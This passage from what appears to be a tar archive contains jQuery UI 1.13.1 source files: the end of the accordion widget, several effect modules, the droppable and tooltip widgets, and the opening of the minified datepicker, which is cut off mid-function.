eventName ] = "_eventHandler"; } ); } this._off( this.headers.add( this.headers.next() ) ); this._on( this.headers, events ); this._on( this.headers.next(), { keydown: "_panelKeyDown" } ); this._hoverable( this.headers ); this._focusable( this.headers ); }, _eventHandler: function( event ) { var activeChildren, clickedChildren, options = this.options, active = this.active, clicked = $( event.currentTarget ), clickedIsActive = clicked[ 0 ] === active[ 0 ], collapsing = clickedIsActive && options.collapsible, toShow = collapsing ? $() : clicked.next(), toHide = active.next(), eventData = { oldHeader: active, oldPanel: toHide, newHeader: collapsing ? $() : clicked, newPanel: toShow }; event.preventDefault(); if ( // click on active header, but not collapsible ( clickedIsActive && !options.collapsible ) || // allow canceling activation ( this._trigger( "beforeActivate", event, eventData ) === false ) ) { return; } options.active = collapsing ? false : this.headers.index( clicked ); // When the call to ._toggle() comes after the class changes // it causes a very odd bug in IE 8 (see #6720) this.active = clickedIsActive ? $() : clicked; this._toggle( eventData ); // Switch classes // corner classes on the previously active header stay after the animation this._removeClass( active, "ui-accordion-header-active", "ui-state-active" ); if ( options.icons ) { activeChildren = active.children( ".ui-accordion-header-icon" ); this._removeClass( activeChildren, null, options.icons.activeHeader ) ._addClass( activeChildren, null, options.icons.header ); } if ( !clickedIsActive ) { this._removeClass( clicked, "ui-accordion-header-collapsed" ) ._addClass( clicked, "ui-accordion-header-active", "ui-state-active" ); if ( options.icons ) { clickedChildren = clicked.children( ".ui-accordion-header-icon" ); this._removeClass( clickedChildren, null, options.icons.header ) ._addClass( clickedChildren, null, options.icons.activeHeader ); } this._addClass( clicked.next(), "ui-accordion-content-active" ); } }, _toggle: function( data ) { var toShow = data.newPanel, toHide = this.prevShow.length ? this.prevShow : data.oldPanel; // Handle activating a panel during the animation for another activation this.prevShow.add( this.prevHide ).stop( true, true ); this.prevShow = toShow; this.prevHide = toHide; if ( this.options.animate ) { this._animate( toShow, toHide, data ); } else { toHide.hide(); toShow.show(); this._toggleComplete( data ); } toHide.attr( { "aria-hidden": "true" } ); toHide.prev().attr( { "aria-selected": "false", "aria-expanded": "false" } ); // if we're switching panels, remove the old header from the tab order // if we're opening from collapsed state, remove the previous header from the tab order // if we're collapsing, then keep the collapsing header in the tab order if ( toShow.length && toHide.length ) { toHide.prev().attr( { "tabIndex": -1, "aria-expanded": "false" } ); } else if ( toShow.length ) { this.headers.filter( function() { return parseInt( $( this ).attr( "tabIndex" ), 10 ) === 0; } ) .attr( "tabIndex", -1 ); } toShow .attr( "aria-hidden", "false" ) .prev() .attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ); }, _animate: function( toShow, toHide, data ) { var total, easing, duration, that = this, adjust = 0, boxSizing = toShow.css( "box-sizing" ), down = toShow.length && ( !toHide.length || ( toShow.index() < toHide.index() ) ), animate = this.options.animate || {}, options = down && animate.down || animate, complete = function() { that._toggleComplete( data ); }; if ( typeof options === "number" ) { duration = options; } if ( typeof options === "string" ) { easing = options; } // fall back from options to animation in case of partial down settings easing = easing || options.easing || animate.easing; duration = duration || options.duration || animate.duration; if ( !toHide.length ) { return toShow.animate( this.showProps, duration, easing, complete ); } if ( !toShow.length ) { return toHide.animate( this.hideProps, duration, easing, complete ); } total = toShow.show().outerHeight(); toHide.animate( this.hideProps, { duration: duration, easing: easing, step: function( now, fx ) { fx.now = Math.round( now ); } } ); toShow .hide() .animate( this.showProps, { duration: duration, easing: easing, complete: complete, step: function( now, fx ) { fx.now = Math.round( now ); if ( fx.prop !== "height" ) { if ( boxSizing === "content-box" ) { adjust += fx.now; } } else if ( that.options.heightStyle !== "content" ) { fx.now = Math.round( total - toHide.outerHeight() - adjust ); adjust = 0; } } } ); }, _toggleComplete: function( data ) { var toHide = data.oldPanel, prev = toHide.prev(); this._removeClass( toHide, "ui-accordion-content-active" ); this._removeClass( prev, "ui-accordion-header-active" ) ._addClass( prev, "ui-accordion-header-collapsed" ); // Work around for rendering bug in IE (#5421) if ( toHide.length ) { toHide.parent()[ 0 ].className = toHide.parent()[ 0 ].className; } this._trigger( "activate", null, data ); } } ); } ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-transfer.js���������������������������������������������������������������������0000644�����������������00000001542�14717703502�0012540 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Transfer 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Transfer Effect //>>group: Effects //>>description: Displays a transfer effect from one element to another. //>>docs: http://api.jqueryui.com/transfer-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var effect; if ( $.uiBackCompat !== false ) { effect = $.effects.define( "transfer", function( options, done ) { $( this ).transfer( options, done ); } ); } return effect; } ); ��������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-slide.min.js��������������������������������������������������������������������0000644�����������������00000001605�14717703502�0012576 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Slide 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(d){"use strict";return d.effects.define("slide","show",function(e,t){var i,o,c=d(this),n={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},s=e.mode,f=e.direction||"left",l="up"===f||"down"===f?"top":"left",p="up"===f||"left"===f,u=e.distance||c["top"==l?"outerHeight":"outerWidth"](!0),r={};d.effects.createPlaceholder(c),i=c.cssClip(),o=c.position()[l],r[l]=(p?-1:1)*u+o,r.clip=c.cssClip(),r.clip[n[f][1]]=r.clip[n[f][0]],"show"===s&&(c.cssClip(r.clip),c.css(l,r[l]),r.clip=i,r[l]=o),c.animate(r,{queue:!1,duration:e.duration,easing:e.easing,complete:t})})});���������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-fade.js�������������������������������������������������������������������������0000644�����������������00000001662�14717703502�0011616 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Fade 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Fade Effect //>>group: Effects //>>description: Fades the element. //>>docs: http://api.jqueryui.com/fade-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "fade", "toggle", function( options, done ) { var show = options.mode === "show"; $( this ) .css( "opacity", show ? 0 : 1 ) .animate( { opacity: show ? 1 : 0 }, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); ������������������������������������������������������������������������������js/jquery/ui/effect-bounce.min.js�������������������������������������������������������������������0000644�����������������00000001717�14717703502�0012755 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Bounce 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(l){"use strict";return l.effects.define("bounce",function(e,t){var i,n,c=l(this),f=e.mode,o="hide"===f,f="show"===f,u=e.direction||"up",a=e.distance,s=e.times||5,r=2*s+(f||o?1:0),d=e.duration/r,p=e.easing,h="up"===u||"down"===u?"top":"left",m="up"===u||"left"===u,y=0,e=c.queue().length;for(l.effects.createPlaceholder(c),u=c.css(h),a=a||c["top"==h?"outerHeight":"outerWidth"]()/3,f&&((n={opacity:1})[h]=u,c.css("opacity",0).css(h,m?2*-a:2*a).animate(n,d,p)),o&&(a/=Math.pow(2,s-1)),(n={})[h]=u;y<s;y++)(i={})[h]=(m?"-=":"+=")+a,c.animate(i,d,p).animate(n,d,p),a=o?2*a:a/2;o&&((i={opacity:0})[h]=(m?"-=":"+=")+a,c.animate(i,d,p)),c.queue(t),l.effects.unshift(c,e,1+r)})});�������������������������������������������������js/jquery/ui/droppable.min.js�����������������������������������������������������������������������0000644�����������������00000014773�14717703502�0012226 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Droppable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./draggable","./mouse","./core"],e):e(jQuery)}(function(a){"use strict";function h(e,t,i){return t<=e&&e<t+i}return a.widget("ui.droppable",{version:"1.13.1",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var e,t=this.options,i=t.accept;this.isover=!1,this.isout=!0,this.accept="function"==typeof i?i:function(e){return e.is(i)},this.proportions=function(){if(!arguments.length)return e=e||{width:this.element[0].offsetWidth,height:this.element[0].offsetHeight};e=arguments[0]},this._addToManager(t.scope),t.addClasses&&this._addClass("ui-droppable")},_addToManager:function(e){a.ui.ddmanager.droppables[e]=a.ui.ddmanager.droppables[e]||[],a.ui.ddmanager.droppables[e].push(this)},_splice:function(e){for(var t=0;t<e.length;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var e=a.ui.ddmanager.droppables[this.options.scope];this._splice(e)},_setOption:function(e,t){var i;"accept"===e?this.accept="function"==typeof t?t:function(e){return e.is(t)}:"scope"===e&&(i=a.ui.ddmanager.droppables[this.options.scope],this._splice(i),this._addToManager(t)),this._super(e,t)},_activate:function(e){var t=a.ui.ddmanager.current;this._addActiveClass(),t&&this._trigger("activate",e,this.ui(t))},_deactivate:function(e){var t=a.ui.ddmanager.current;this._removeActiveClass(),t&&this._trigger("deactivate",e,this.ui(t))},_over:function(e){var t=a.ui.ddmanager.current;t&&(t.currentItem||t.element)[0]!==this.element[0]&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this._addHoverClass(),this._trigger("over",e,this.ui(t)))},_out:function(e){var t=a.ui.ddmanager.current;t&&(t.currentItem||t.element)[0]!==this.element[0]&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this._removeHoverClass(),this._trigger("out",e,this.ui(t)))},_drop:function(t,e){var i=e||a.ui.ddmanager.current,s=!1;return!(!i||(i.currentItem||i.element)[0]===this.element[0])&&(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var e=a(this).droppable("instance");if(e.options.greedy&&!e.options.disabled&&e.options.scope===i.options.scope&&e.accept.call(e.element[0],i.currentItem||i.element)&&a.ui.intersect(i,a.extend(e,{offset:e.element.offset()}),e.options.tolerance,t))return!(s=!0)}),!s&&(!!this.accept.call(this.element[0],i.currentItem||i.element)&&(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",t,this.ui(i)),this.element)))},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}}),a.ui.intersect=function(e,t,i,s){if(!t.offset)return!1;var o=(e.positionAbs||e.position.absolute).left+e.margins.left,r=(e.positionAbs||e.position.absolute).top+e.margins.top,n=o+e.helperProportions.width,a=r+e.helperProportions.height,l=t.offset.left,p=t.offset.top,c=l+t.proportions().width,d=p+t.proportions().height;switch(i){case"fit":return l<=o&&n<=c&&p<=r&&a<=d;case"intersect":return l<o+e.helperProportions.width/2&&n-e.helperProportions.width/2<c&&p<r+e.helperProportions.height/2&&a-e.helperProportions.height/2<d;case"pointer":return h(s.pageY,p,t.proportions().height)&&h(s.pageX,l,t.proportions().width);case"touch":return(p<=r&&r<=d||p<=a&&a<=d||r<p&&d<a)&&(l<=o&&o<=c||l<=n&&n<=c||o<l&&c<n);default:return!1}},!(a.ui.ddmanager={current:null,droppables:{default:[]},prepareOffsets:function(e,t){var i,s,o=a.ui.ddmanager.droppables[e.options.scope]||[],r=t?t.type:null,n=(e.currentItem||e.element).find(":data(ui-droppable)").addBack();e:for(i=0;i<o.length;i++)if(!(o[i].options.disabled||e&&!o[i].accept.call(o[i].element[0],e.currentItem||e.element))){for(s=0;s<n.length;s++)if(n[s]===o[i].element[0]){o[i].proportions().height=0;continue e}o[i].visible="none"!==o[i].element.css("display"),o[i].visible&&("mousedown"===r&&o[i]._activate.call(o[i],t),o[i].offset=o[i].element.offset(),o[i].proportions({width:o[i].element[0].offsetWidth,height:o[i].element[0].offsetHeight}))}},drop:function(e,t){var i=!1;return a.each((a.ui.ddmanager.droppables[e.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&a.ui.intersect(e,this,this.options.tolerance,t)&&(i=this._drop.call(this,t)||i),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,t)))}),i},dragStart:function(e,t){e.element.parentsUntil("body").on("scroll.droppable",function(){e.options.refreshPositions||a.ui.ddmanager.prepareOffsets(e,t)})},drag:function(o,r){o.options.refreshPositions&&a.ui.ddmanager.prepareOffsets(o,r),a.each(a.ui.ddmanager.droppables[o.options.scope]||[],function(){var e,t,i,s;this.options.disabled||this.greedyChild||!this.visible||(s=!(s=a.ui.intersect(o,this,this.options.tolerance,r))&&this.isover?"isout":s&&!this.isover?"isover":null)&&(this.options.greedy&&(t=this.options.scope,(i=this.element.parents(":data(ui-droppable)").filter(function(){return a(this).droppable("instance").options.scope===t})).length&&((e=a(i[0]).droppable("instance")).greedyChild="isover"===s)),e&&"isover"===s&&(e.isover=!1,e.isout=!0,e._out.call(e,r)),this[s]=!0,this["isout"===s?"isover":"isout"]=!1,this["isover"===s?"_over":"_out"].call(this,r),e&&"isout"===s&&(e.isout=!1,e.isover=!0,e._over.call(e,r)))})},dragStop:function(e,t){e.element.parentsUntil("body").off("scroll.droppable"),e.options.refreshPositions||a.ui.ddmanager.prepareOffsets(e,t)}})!==a.uiBackCompat&&a.widget("ui.droppable",a.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super(),this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super(),this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super(),this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super(),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}}),a.ui.droppable});�����js/jquery/ui/tooltip.min.js�������������������������������������������������������������������������0000644�����������������00000014050�14717703502�0011734 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Tooltip 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],t):t(jQuery)}(function(r){"use strict";return r.widget("ui.tooltip",{version:"1.13.1",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var t=r(this).attr("title");return r("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(t,i){var e=(t.attr("aria-describedby")||"").split(/\s+/);e.push(i),t.data("ui-tooltip-id",i).attr("aria-describedby",String.prototype.trim.call(e.join(" ")))},_removeDescribedBy:function(t){var i=t.data("ui-tooltip-id"),e=(t.attr("aria-describedby")||"").split(/\s+/),i=r.inArray(i,e);-1!==i&&e.splice(i,1),t.removeData("ui-tooltip-id"),(e=String.prototype.trim.call(e.join(" ")))?t.attr("aria-describedby",e):t.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.liveRegion=r("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this.disabledTitles=r([])},_setOption:function(t,i){var e=this;this._super(t,i),"content"===t&&r.each(this.tooltips,function(t,i){e._updateContent(i.element)})},_setOptionDisabled:function(t){this[t?"_disable":"_enable"]()},_disable:function(){var o=this;r.each(this.tooltips,function(t,i){var e=r.Event("blur");e.target=e.currentTarget=i.element[0],o.close(e,!0)}),this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function(){var t=r(this);if(t.is("[title]"))return t.data("ui-tooltip-title",t.attr("title")).removeAttr("title")}))},_enable:function(){this.disabledTitles.each(function(){var t=r(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))}),this.disabledTitles=r([])},open:function(t){var e=this,i=r(t?t.target:this.element).closest(this.options.items);i.length&&!i.data("ui-tooltip-id")&&(i.attr("title")&&i.data("ui-tooltip-title",i.attr("title")),i.data("ui-tooltip-open",!0),t&&"mouseover"===t.type&&i.parents().each(function(){var t,i=r(this);i.data("ui-tooltip-open")&&((t=r.Event("blur")).target=t.currentTarget=this,e.close(t,!0)),i.attr("title")&&(i.uniqueId(),e.parents[this.id]={element:this,title:i.attr("title")},i.attr("title",""))}),this._registerCloseHandlers(t,i),this._updateContent(i,t))},_updateContent:function(i,e){var t=this.options.content,o=this,n=e?e.type:null;if("string"==typeof t||t.nodeType||t.jquery)return this._open(e,i,t);(t=t.call(i[0],function(t){o._delay(function(){i.data("ui-tooltip-open")&&(e&&(e.type=n),this._open(e,i,t))})}))&&this._open(e,i,t)},_open:function(t,i,e){var o,n,s,l=r.extend({},this.options.position);function a(t){l.of=t,o.is(":hidden")||o.position(l)}e&&((s=this._find(i))?s.tooltip.find(".ui-tooltip-content").html(e):(i.is("[title]")&&(t&&"mouseover"===t.type?i.attr("title",""):i.removeAttr("title")),s=this._tooltip(i),o=s.tooltip,this._addDescribedBy(i,o.attr("id")),o.find(".ui-tooltip-content").html(e),this.liveRegion.children().hide(),(s=r("<div>").html(o.find(".ui-tooltip-content").html())).removeAttr("name").find("[name]").removeAttr("name"),s.removeAttr("id").find("[id]").removeAttr("id"),s.appendTo(this.liveRegion),this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:a}),a(t)):o.position(r.extend({of:i},this.options.position)),o.hide(),this._show(o,this.options.show),this.options.track&&this.options.show&&this.options.show.delay&&(n=this.delayedShow=setInterval(function(){o.is(":visible")&&(a(l.of),clearInterval(n))},13)),this._trigger("open",t,{tooltip:o})))},_registerCloseHandlers:function(t,i){var e={keyup:function(t){t.keyCode===r.ui.keyCode.ESCAPE&&((t=r.Event(t)).currentTarget=i[0],this.close(t,!0))}};i[0]!==this.element[0]&&(e.remove=function(){var t=this._find(i);t&&this._removeTooltip(t.tooltip)}),t&&"mouseover"!==t.type||(e.mouseleave="close"),t&&"focusin"!==t.type||(e.focusout="close"),this._on(!0,i,e)},close:function(t){var i,e=this,o=r(t?t.currentTarget:this.element),n=this._find(o);n?(i=n.tooltip,n.closing||(clearInterval(this.delayedShow),o.data("ui-tooltip-title")&&!o.attr("title")&&o.attr("title",o.data("ui-tooltip-title")),this._removeDescribedBy(o),n.hiding=!0,i.stop(!0),this._hide(i,this.options.hide,function(){e._removeTooltip(r(this))}),o.removeData("ui-tooltip-open"),this._off(o,"mouseleave focusout keyup"),o[0]!==this.element[0]&&this._off(o,"remove"),this._off(this.document,"mousemove"),t&&"mouseleave"===t.type&&r.each(this.parents,function(t,i){r(i.element).attr("title",i.title),delete e.parents[t]}),n.closing=!0,this._trigger("close",t,{tooltip:i}),n.hiding||(n.closing=!1))):o.removeData("ui-tooltip-open")},_tooltip:function(t){var i=r("<div>").attr("role","tooltip"),e=r("<div>").appendTo(i),o=i.uniqueId().attr("id");return this._addClass(e,"ui-tooltip-content"),this._addClass(i,"ui-tooltip","ui-widget ui-widget-content"),i.appendTo(this._appendTo(t)),this.tooltips[o]={element:t,tooltip:i}},_find:function(t){t=t.data("ui-tooltip-id");return t?this.tooltips[t]:null},_removeTooltip:function(t){clearInterval(this.delayedShow),t.remove(),delete this.tooltips[t.attr("id")]},_appendTo:function(t){t=t.closest(".ui-front, dialog");return t=t.length?t:this.document[0].body},_destroy:function(){var o=this;r.each(this.tooltips,function(t,i){var e=r.Event("blur"),i=i.element;e.target=e.currentTarget=i[0],o.close(e,!0),r("#"+t).remove(),i.data("ui-tooltip-title")&&(i.attr("title")||i.attr("title",i.data("ui-tooltip-title")),i.removeData("ui-tooltip-title"))}),this.liveRegion.remove()}}),!1!==r.uiBackCompat&&r.widget("ui.tooltip",r.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var t=this._superApply(arguments);return this.options.tooltipClass&&t.tooltip.addClass(this.options.tooltipClass),t}}),r.ui.tooltip});����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/datepicker.min.js����������������������������������������������������������������������0000644�����������������00000107607�14717703502�0012370 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Datepicker 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(V){"use strict";var n;function e(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:"",selectMonthLabel:"Select month",selectYearLabel:"Select year"},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,onUpdateDatepicker:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},V.extend(this._defaults,this.regional[""]),this.regional.en=V.extend(!0,{},this.regional[""]),this.regional["en-US"]=V.extend(!0,{},this.regional.en),this.dpDiv=a(V("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function a(e){var t="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return e.on("mouseout",t,function(){V(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).removeClass("ui-datepicker-next-hover")}).on("mouseover",t,d)}function d(){V.datepicker._isDisabledDatepicker((n.inline?n.dpDiv.parent():n.input)[0])||(V(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),V(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).addClass("ui-datepicker-next-hover"))}function c(e,t){for(var a in V.extend(e,t),t)null==t[a]&&(e[a]=t[a])}return V.extend(V.ui,{datepicker:{version:"1.13.1"}}),V.extend(e.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(e){return c(this._defaults,e||{}),this},_attachDatepicker:function(e,t){var a,i=e.nodeName.toLowerCase(),s="div"===i||"span"===i;e.id||(this.uuid+=1,e.id="dp"+this.uuid),(a=this._newInst(V(e),s)).settings=V.extend({},t||{}),"input"===i?this._connectDatepicker(e,a):s&&this._inlineDatepicker(e,a)},_newInst:function(e,t){return{id:e[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1"),input:e,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:t,dpDiv:t?a(V("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(e,t){var a=V(e);t.append=V([]),t.trigger=V([]),a.hasClass(this.markerClassName)||(this._attachments(a,t),a.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp),this._autoSize(t),V.data(e,"datepicker",t),t.settings.disabled&&this._disableDatepicker(e))},_attachments:function(e,t){var a,i=this._get(t,"appendText"),s=this._get(t,"isRTL");t.append&&t.append.remove(),i&&(t.append=V("<span>").addClass(this._appendClass).text(i),e[s?"before":"after"](t.append)),e.off("focus",this._showDatepicker),t.trigger&&t.trigger.remove(),"focus"!==(i=this._get(t,"showOn"))&&"both"!==i||e.on("focus",this._showDatepicker),"button"!==i&&"both"!==i||(i=this._get(t,"buttonText"),a=this._get(t,"buttonImage"),this._get(t,"buttonImageOnly")?t.trigger=V("<img>").addClass(this._triggerClass).attr({src:a,alt:i,title:i}):(t.trigger=V("<button type='button'>").addClass(this._triggerClass),a?t.trigger.html(V("<img>").attr({src:a,alt:i,title:i})):t.trigger.text(i)),e[s?"before":"after"](t.trigger),t.trigger.on("click",function(){return V.datepicker._datepickerShowing&&V.datepicker._lastInput===e[0]?V.datepicker._hideDatepicker():(V.datepicker._datepickerShowing&&V.datepicker._lastInput!==e[0]&&V.datepicker._hideDatepicker(),V.datepicker._showDatepicker(e[0])),!1}))},_autoSize:function(e){var t,a,i,s,r,n;this._get(e,"autoSize")&&!e.inline&&(r=new Date(2009,11,20),(n=this._get(e,"dateFormat")).match(/[DM]/)&&(r.setMonth((t=function(e){for(s=i=a=0;s<e.length;s++)e[s].length>a&&(a=e[s].length,i=s);return i})(this._get(e,n.match(/MM/)?"monthNames":"monthNamesShort"))),r.setDate(t(this._get(e,n.match(/DD/)?"dayNames":"dayNamesShort"))+20-r.getDay())),e.input.attr("size",this._formatDate(e,r).length))},_inlineDatepicker:function(e,t){var a=V(e);a.hasClass(this.markerClassName)||(a.addClass(this.markerClassName).append(t.dpDiv),V.data(e,"datepicker",t),this._setDate(t,this._getDefaultDate(t),!0),this._updateDatepicker(t),this._updateAlternate(t),t.settings.disabled&&this._disableDatepicker(e),t.dpDiv.css("display","block"))},_dialogDatepicker:function(e,t,a,i,s){var r,n=this._dialogInst;return n||(this.uuid+=1,r="dp"+this.uuid,this._dialogInput=V("<input type='text' id='"+r+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.on("keydown",this._doKeyDown),V("body").append(this._dialogInput),(n=this._dialogInst=this._newInst(this._dialogInput,!1)).settings={},V.data(this._dialogInput[0],"datepicker",n)),c(n.settings,i||{}),t=t&&t.constructor===Date?this._formatDate(n,t):t,this._dialogInput.val(t),this._pos=s?s.length?s:[s.pageX,s.pageY]:null,this._pos||(r=document.documentElement.clientWidth,i=document.documentElement.clientHeight,t=document.documentElement.scrollLeft||document.body.scrollLeft,s=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[r/2-100+t,i/2-150+s]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),n.settings.onSelect=a,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),V.blockUI&&V.blockUI(this.dpDiv),V.data(this._dialogInput[0],"datepicker",n),this},_destroyDatepicker:function(e){var 